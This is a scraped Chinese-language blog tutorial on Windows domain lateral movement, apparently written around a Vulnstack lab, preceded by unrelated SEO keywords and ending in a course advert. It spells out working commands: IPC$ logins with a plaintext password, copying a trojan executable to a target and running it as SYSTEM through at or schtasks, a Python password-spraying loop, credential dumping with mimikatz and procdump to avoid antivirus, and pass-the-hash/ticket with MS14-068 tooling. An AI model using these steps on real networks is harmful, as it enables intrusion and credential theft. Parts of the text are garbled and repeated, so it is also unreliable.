为什么建行网站打不开,建设网站策划书,wordpress 邮件订阅插件,网站后台框架模版文章目录前言1、信息收集2、IPCSMBVMI一、SMB 协议二、IPC三、VMI3、atschtasks一、atWindows2012二、schtasksWindows2012三、impacket4、smbwmi5、pthptkptt5、Reference前言
内网渗透主要是基于前期外围打点getshell的webserverSMBVMI一、SMB 协议二、IPC三、VMI3、atschtasks一、atWindows2012二、schtasksWindows2012三、impacket4、smbwmi5、pthptkptt5、Reference前言内网渗透主要是基于前期外围打点getshell的webserver通过收集webserver上的信息然后对其他内网主机进行口令上的攻击当然也有一些基于漏洞的攻击。内网相关概念这里不再进行介绍大家可以自行百度诸如什么是域、域与工作组的区别、什么是DC、什么是AD等。当然概念是生涩难懂的结合实际环境会有助于理解。某内网靶场的详细教程Vulnstack一内网渗透过程中经常会涉及到内网穿透如何理解内网穿透以及端口转发、端口映射等相关知识可以参考如何从零构建对内网穿透的理解实操部分写的比较草率主要是为了增强认知、扩展思路、扩充知识面。实际上有很多优秀的集成化工具很少会拆分开来单独使用这些方法。当然大多数情况下是要考虑免杀的免杀时可能会将某一步操作拆分出来单独进行免杀和利用。1、信息收集查看系统详细信息如OS版本、补丁安装情况可以根据这些信息筛选可利用的漏洞systeminfo查看启动进程可以根据启动进程判断主机在域中扮演的角色net start查看进程列表tasklist查看端口开放情况netstat -ano判断是否存在域net view /domain查看主机名、域DNS、IPipconfig /all查看域内主机net view域内主机以域服务器时间为准故该命令可用于判断DCnet time /domain查看IPnslookup 域名查看登录信息net config workstation查看用户信息whoami /all查看域内用户可以将其作为字典对其他主机的密码进行爆破net user /domain这个命令在DC上可以直接执行在其他域主机上执行要求打开DC的RPC服务。探针域内存活主机for /L %I in (1,1,254) DO ping -w 1 -n 1 192.168.52.%I | findstr TTL当然也可以借助nmap、masscan等第三方工具或empire、nishang等第三方脚本但是使用系统命令的最大好处就是不用考虑免杀。域内其实还有一台机器STU1但它开了防火墙所以是禁ping的这可能也是前面net view时没有显示STU1的原因。我们关了防火墙再试一遍计算机用户Hash、明文获取mimikatzWinmimipenguinLinux。计算机各种协议、服务口令的获取LaZagne适用于Windows、Linux、Mac。支持面广但功能一般。XenArmorWin付费。探测域内存活主机及地址信息自带的内部命令.bat、nmap、masscan、powershell第三方脚本empire、nishang。需要注意的是Mimikatz属于第三方软件直接上传到目标主机可能被杀毒软件查杀这时我们可以配合官方软件Procdump将Procdump上传目标主机获取用户信息(该文件不可读)使用本地的Mimikatz打开Procdump获取的用户信息。mimikatz下载https://github.com/gentilkiwi/mimikatz/releasesprocdump下载https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump2、IPCSMBVMI前面已经说了内网渗透主要是基于口令的攻击。同一域内的主机不计其数域用户不计其数为了便于记忆和管理域成员的密码很多都会有重合。当我们拿到某个域成员的密码就可以利用它把口子越撕越大不断丰富我们的密码字典然后不断地对域内主机进行爆破直至拿下DC。Windows提供了许多协议和相关功能我们可以利用这些功能和协议传递用户的凭证进行验证。一、SMB 协议SMB 一种客户机/服务器、请求/响应协议。通过 SMB 协议客户端应用程序可以在各种网络环境下读、写服务器上的文件以及对服务器程序提出服务请求。此外通过 SMB 协议应用程序可以访问远程服务器端的文件、以及打印机、邮件槽mailslot、命名管道named pipe等资源。在 TCP/IP 环境下客户机通过 NetBIOS over TCP/IP或 NetBEUI/TCP 或 SPX/IPX连接服务器。一旦连接成功客户机可发送 SMB命令到服务器上从而客户机能够访问共享目录、打开文件、读写文件以及一切在文件系统上能做的所有事情。这么说吧域内最重要的是啥一个是为了保障安全内网与外网相隔绝另一个就是资源共享毕竟大家都是一条船上的人。SMB 协议就是用于实现各种资源的共享的其中就包括IPC连接中的命名管道。在Windows NT中SMB基于NBT实现。而在Windows2000中SMB除了基于NBT的实现还有直接通过445端口实现。NBT(NetBIOS over TCP/IP)使用137, 138 (UDP) and 139 (TCP来实现基于TCP/IP的NETBIOS网际互联。我的理解就是445是139的升级139实现条件比445更苛刻但两者都是为了实现SMB协议因此两者并不冲突。在WindowsNT中SMB基于NBT实现即使用139TCP端口而在Windows2000中SMB除了基于NBT实现还可以直接通过445端口实现。二、IPCIPCInter-Process Communication进程间通信进程间通信是指两个进程的数据之间产生交互。进程间通信主要方式有共享内存、消息队列、管道等。其中共享内存主要用于同一计算机内进程间通信消息队列和管道主要用于分布式环境通信进程位于通过网络连接的不同计算机。“命名管道”又名“命名管线”Named Pipes是一种简单的进程间通信IPC机制Microsoft Windows大都提供了对它的支持但不包括Windows CE。命名管道可在同一台计算机的不同进程之间或在跨越一个网络的不同计算机的不同进程之间支持可靠的、单向或双向的数据通信。推荐用命名管道作为进程通信方案的一项重要的原因是它们充分利用了Windows内建的安全特性ACL等。与TCP/IP传输控制协议或internet协议一样命名管道是一种通讯协议。它一般用于局域网中因为它要求客户端必须具有访问服务器资源的权限SMB协议。在快速局域网 (LAN) 环境中传输控制协议或 Internet 协议 (TCP/IP) 套接字客户端和 Named Pipes 客户端在性能方面不相上下。但是网络速度越慢TCP/IP 套接字客户端与 Named Pipes 客户端的性能差异越明显。这是因为TCP/IP 套接字的数据传输的效率更高开销也更少。数据传输还可以利用 TCP/IP 套接字性能增强机制的优点如开窗口、延迟确认等这在慢速网络中可能非常有益。而对于命名管道通常网络通信交互性更强。一个对等项直到另一个对等项使用读取命令请求数据时才发送数据。在开始读取数据前网络读取一般包括一系列窥视命名管道的信息。这在慢速网络中可能花费非常多并导致过多的网络流量其它的网络客户端反过来也会受到影响。使用命名管道的原因一般有两个方面提高速度假设同样在局域网中那么使用命名管道协议会比TCP/IP协议快一些。增加安全性因为命名管道是只能用于局域网的那么如果服务器关闭了TCP/IP协议而仅启用命名管道就可以避免一些安全隐患。总结一下FIFOs是共享命名管道的资源它是为了让进程间通信而开放的命名管道通过提供可信任的用户名和口令连接双方可以建立安全的通道并以此通道进行加密数据的交换从而实现对远程计算机的访问。因此我们可以基于此实现对用户名和密码的爆破。需要注意的是IPC$需要139或445端口的支持。三、VMIWindows管理工具WMI由一组扩展到的Windows驱动程序模型。WMI允许脚本语言例如VBScript或Windows PowerShell来本地或远程管理Microsoft Windows个人电脑和服务器。简单来说咱们在cmd或者powershell中使用的命令行语言就是VMI支持的它提供给我们一个接口如powershell便于我们管理计算机。谈及远程管理延申几个比较重要的端口如22、23、135、139、445、3389等。139、445端口我们前面已经讨论过了22端口是linux的ssh23端口是telnet3389是远程桌面连接rdp这些都比较好理解。咱们重点来说一下135端口。135端口主要用于使用RPCRemote Procedure Call远程过程调用协议并提供DCOM分布式组件对象模型服务通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代码使用DCOM可以通过网络直接进行通信能够包括HTTP协议在内的多种网络传输。进程间通信IPC是在多任务操作系统或联网的计算机之间运行的程序和进程所用的通信技术。有两种类型的进程间通信IPC。本地过程调用(LPC)LPC用在多任务操作系统中使得同时运行的任务能互相会话。这些任务共享内存空间使任务同步和互相发送信息。远程过程调用RPC)RPC类似于LPC只是在网上工作。RPC开始是出现在Sun微系统公司和HP公司的运行UNⅨ操作系统的计算机中。简单来说RPC就是用于支持远程IPC的连接。无论是本地连接还是远程连接都要依托于VMI服务进行管理。3、atschtasksatschtasks用于创建定时任务其中atWindows2012schtasksWindows2012。利用场景已拿下内网中一台主机的权限webserver掌握该主机的域用户名和密码知道域内其他用户名。利用流程1.建立IPC连接到目标主机明文密码2.copy要执行的命令脚本到目标主机3.查看目标时间创建计划任务at、schtasks定时执行copy的脚本4.删除IPC连接查看当前网络连接net use使用明文密码hongrisec2021与192.168.52.143的god\administrator用户建立远程IPC连接net use \\192.168.52.143\ipc$ hongrisec2021 /user:god\administrator先将恶意文件上传到外围打点时拿下权限的webserver上再通过前面建立的远程IPC连接将恶意文件从webserver copy到目标主机copy C:\Users\liukaifeng01\Desktop\muma.exe \\192.168.52.143\C$一、atWindows2012Windows2012以下版本添加计时任务at \\192.168.52.143 15:30 C:\muma.exe二、schtasksWindows2012Windows2012及以上版本创建计时任务对应文件schtasks /create /s 192.168.52.143 /ru “SYSTEM” /tn adduser /sc DAILY /tr C:\muma.exe /F运行adduser任务schtasks /run /s 192.168.52.143 /tn adduser删除adduser任务schtasks /delete /s 192.168.52.143 /tn adduser三、impacketimpacket是一个打包好的工具包里面包含了对于各种协议和系统命令的利用工具。对于atschtasks我们可以使用impacket中的atexec.exe使用它可以轻松地进行远程连接并执行系统命令。python版impacket下载https://github.com/SecureAuthCorp/impacketexe版impacket下载https://gitee.com/RichChigga/impacket-examples-windows在实战中当我们拿下了webserver获取了webserver上的密码以及所有的域用户、本地用户、域内存活主机IP后我们就可以以用户为用户字典、IP为IP字典、密码为密码字典进行批量连接碰撞探测哪些主机可以成功连接。一旦成功连接便意味着我们可以通过计划任务等方式拿到连接的主机权限。拿到新的主机权限后我们就可以获得新的主机密码然后丰富自己的密码字典再进行批量连接碰撞。循环往复直至拿下DC。如上图所示使用bat脚本只能遍历一个变量如果想要同时遍历三个变量可以使用python。例如建立三个列表使用三个循环进行遍历循环生成命令执行语句string最后使用python os模块中的os.system()函数执行系统命令。但需要注意的是域内主机上很可能没有python环境因此我们需要借助python中的pyinstaller模块它可以将py脚本打包成可执行文件直接在windows上运行pipinstallpyinstaller pyinstaller -F app.pyimportos,timeips{192.168.3.21,192.168.3.25,192.168.3.29,192.168.3.30,192.168.3.31,192.168.3.33}users{Administrator,boss,dbadmin,fileadmin,mack,mary,vpnadm,webadmin}passs{admin,admin!#45,Admin12345}foripinips:foruserinusers:formimainpasss:execnet use\ \ip\ipc$ mima /user:god\user print(---exec---)os.system(exec)time.sleep(1)4、smbwmi利用思路不变变的仅是命令。psexec是微软官方pstools中的工具所以不需要考虑免杀。其中上图中说到psexec第二种方法和smbexec无需建立IPC连接我认为是不合理的。这几种方法只是命令不同罢了提供明文账户密码的时候也是要建立IPC连接的因为这个利用就是基于IPC的共享。另外需要注意的就是官方是不支持hash连接的如果想要使用hash连接仅能得到hash可以使用impacket工具包但是要做好免杀。我个人认为前面介绍的几种方法没啥区别都是基于IPC共享都需要 139 / 445 端口的开启初此之外还离不开 135 端口因为 135 端口时用于支持远程 I P C 建立的。 I P C 共享都需要139/445端口的开启初此之外还离不开135端口因为135端口时用于支持远程IPC建立的。IPC共享都需要139/445端口的开启初此之外还离不开135端口因为135端口时用于支持远程IPC建立的。IPC共享的目的是为了便于管理员进行远程操作和管理但是我们可以利用验证时的回显进行密码爆破。5、pthptkpttPTHpass the hashLM、NTLMPTKpass the keyAES 256PTTpass the ticketWindows2012及以上版本默认关闭wdigest攻击者无法从内存中获取明文密码。Windows2012以下版本如安装KB2871997补丁同样也会导致无法获取明文密码。针对以上情况我们提供了如下解决方案1.利用hash传递pth、ptk等进行移动2.利用注册表操作开启 Wdigest Auth 值进行获取3.利用工具或第三方平台Hashcat进行破解获取Windows认证采用LM Hash及NTLM Hash加密算法个人系统在Windows vista后服务器系统在Windows 2003以后认证方式均为NTLM Hash。如果仅得到了Hash既可以尝试在本机破解也可以使用前面介绍的impacket。impacket中的工具能传递hash并能直接执行系统命令优点自带提权命令简洁功能强大。缺点非官方工具容易被杀。PTH、PTK均可以使用mimikatz进行获取和攻击这里不再赘述mimikatz相关使用自行百度。hash破解工具hashcat下载https://github.com/hashcat/hashcat需要注意的是只有打了补丁KB2871997才能使用ptk。PTT攻击的部分就不是简单的NTLM认证了它是利用Kerberos协议进行攻击的。Kerberos 协议具体工作方法在域中简要介绍一下1.客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥)发送给 kdc域控kdc 对用户进行检测成功之后创建 TGT(Ticket-Granting Ticket)2.将 TGT 进行加密签名返回给客户机器只有域用户 krbtgt 才能读取 kerberos 中 TGT 数据3.然后客户机将 TGT 发送给域控制器 KDC 请求 TGS票证授权服务票证并且对 TGT 进行检测4.检测成功之后将目标服务账户的 NTLM 以及 TGT 进行加密将加密后的结果返回给客户机。说白了票据就跟cookie一样我们需要获取新鲜的cookie未过期主机登录后十小时左右过期然后注入内存当中通过伪装混过认证。这个可以通过漏洞poc或工具进行利用MS14-068下载https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068工具kekeo下载https://github.com/gentilkiwi/kekeo/releases5、ReferenceSQL Server中的命名管道(named pipe)及其使用进程间通信IPC共享内存和消息队列原理详解命名管道 TCP/IP协议 匿名管道Windows系统安全 | IPC共享和其他共享 ( C 共享和其他共享(C共享和其他共享(C、D、 A d m i n 、Admin、Admin)网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取